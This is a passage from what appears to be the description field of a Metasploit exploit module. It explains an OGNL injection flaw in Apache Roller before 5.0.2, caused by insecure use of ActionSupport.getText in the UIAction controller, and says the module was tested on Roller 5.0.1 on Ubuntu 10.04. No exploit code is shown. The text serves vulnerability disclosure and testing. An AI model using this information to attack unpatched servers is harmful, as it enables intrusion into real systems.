  'Description'=> %q{
  This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
  vulnerability is due to an OGNL injection on the UIAction controller because of an
  insecure usage of the ActionSupport.getText method. This module has been tested
  successfully on Apache Roller 5.0.1 on Ubuntu 10.04.
